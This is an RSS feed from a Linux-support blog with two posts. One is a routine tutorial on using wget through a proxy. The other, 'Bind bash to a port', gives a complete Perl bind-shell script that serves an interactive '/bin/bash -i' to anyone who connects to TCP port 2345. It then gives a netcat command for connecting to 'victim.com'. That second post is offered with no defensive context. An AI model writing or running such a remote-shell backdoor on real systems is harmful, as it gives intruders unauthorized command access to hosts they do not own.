<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>RedHatVN Network &#124; Ho Tro Linux &#124; Support Linux &#124; Linux VN &#187; port</title>
	<atom:link href="http://redhatvn.net/tag/port/feed" rel="self" type="application/rss+xml" />
	<link>http://redhatvn.net</link>
	<description>Shared Linux problems</description>
	<lastBuildDate>Fri, 03 Sep 2010 08:03:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>How To Use Wget Through Proxy</title>
		<link>http://redhatvn.net/how-to-use-wget-through-proxy</link>
		<comments>http://redhatvn.net/how-to-use-wget-through-proxy#comments</comments>
		<pubDate>Fri, 16 Apr 2010 09:10:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Centos]]></category>
		<category><![CDATA[Cpanel]]></category>
		<category><![CDATA[Directadmin]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[shell script]]></category>
		<category><![CDATA[vps]]></category>
		<category><![CDATA[port]]></category>

		<guid isPermaLink="false">http://redhatvn.net/?p=1164</guid>
		<description><![CDATA[Wget is a super-useful utility to download pages and automate all types of web related tasks. It works for HTTP as well as FTP URL&#8217;s. Here is a brief tutorial on how to use wget through proxy server. To get wget to use a proxy, you must set up an environment variable before using wget. [...]]]></description>
			<content:encoded><![CDATA[<p>Wget is a super-useful utility to download pages and automate all types of web related tasks. It works for HTTP as well as FTP URL&#8217;s. Here is a brief tutorial on how to use wget through proxy server.<br />
<span id="more-1164"></span><br />
To get wget to use a proxy, you must set up an environment variable before using wget. Type this at the command prompt / console:<br />
For Windows:<br />
<code>set http_proxy=http://proxy.example.com:8080</code></p>
<p>For Linux/Unix:<br />
<code>export http_proxy="http://proxy.example.com:8080"</code></p>
<p>Replace proxy.example.com with your actual proxy server.<br />
Replace 8080 with your actual proxy server port.</p>
<p>You can similarly use ftp_proxy to proxy ftp requests. An example on Linux would be:<br />
<code>export ftp_proxy="http://proxy.example.com:8080"</code></p>
<p>Then you should specify the following option in wget command line to turn the proxy behavior on:<br />
<code>–proxy=on</code></p>
<p>Alternatively you can use the following to turn it off:<br />
<code>–proxy=off</code></p>
<p>You can use –proxy-username=&#8221;user name&#8221; –proxy-passwd=&#8221;password&#8221; to set proxy user name and password where required.<br />
Replace user name with your proxy server user name and password with your proxy server password. Another alternative is to specify them in http_proxy / ftp_proxy environment variable as follows:<br />
<code>export http_proxy="http://username:password@proxy.example.com:8080"</code></p>
]]></content:encoded>
			<wfw:commentRss>http://redhatvn.net/how-to-use-wget-through-proxy/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Bind bash to a port</title>
		<link>http://redhatvn.net/bind-bash-to-a-port</link>
		<comments>http://redhatvn.net/bind-bash-to-a-port#comments</comments>
		<pubDate>Wed, 19 Aug 2009 05:07:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[shell script]]></category>
		<category><![CDATA[port]]></category>

		<guid isPermaLink="false">http://redhatvn.net/?p=216</guid>
		<description><![CDATA[a simple perl script to bind bash to a port: #!/usr/bin/perl use Socket; my $port = shift &#124;&#124; 2345; my $proto = getprotobyname('tcp'); ($port) = $port =~ /^(d+)$/ or die "invalid port"; socket(S,PF_INET,SOCK_STREAM,$proto) &#124;&#124; die "socket: $!"; setsockopt(S,SOL_SOCKET,SO_REUSEADDR,pack("l",1)) &#124;&#124; die "setsockopt: $!"; bind(S,sockaddr_in($port,INADDR_ANY)) &#124;&#124; die "bind: $!"; listen(S,3) &#124;&#124; die "listen: $!"; my $shell="/bin/bash -i"; [...]]]></description>
			<content:encoded><![CDATA[<p>a simple perl script to bind bash to a port:<br />
<span id="more-216"></span><code><br />
#!/usr/bin/perl<br />
use Socket;<br />
my $port = shift || 2345;<br />
my $proto = getprotobyname('tcp');<br />
($port) = $port =~ /^(d+)$/ or die "invalid port";<br />
socket(S,PF_INET,SOCK_STREAM,$proto) || die "socket: $!";<br />
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,pack("l",1)) || die "setsockopt: $!";<br />
bind(S,sockaddr_in($port,INADDR_ANY)) || die "bind: $!";<br />
listen(S,3) || die "listen: $!";<br />
my $shell="/bin/bash -i";<br />
while(1) {<br />
accept(C,S);<br />
if(!($pid=fork)) {<br />
die "Cannot fork" if (!defined $pid);<br />
open STDIN,"&lt;&amp;C";<br />
open STDOUT,"&gt;&amp;C”;<br />
open STDERR, “&gt;&amp;C”;<br />
exec $shell || die print C “Cant execute $shelln”;<br />
close C;<br />
exit 0;<br />
}<br />
}<br />
</code><br />
And then you can use netcat to connect it:<br />
<code><br />
nc -vv victim.com 2345</code><strong><br />
</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://redhatvn.net/bind-bash-to-a-port/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->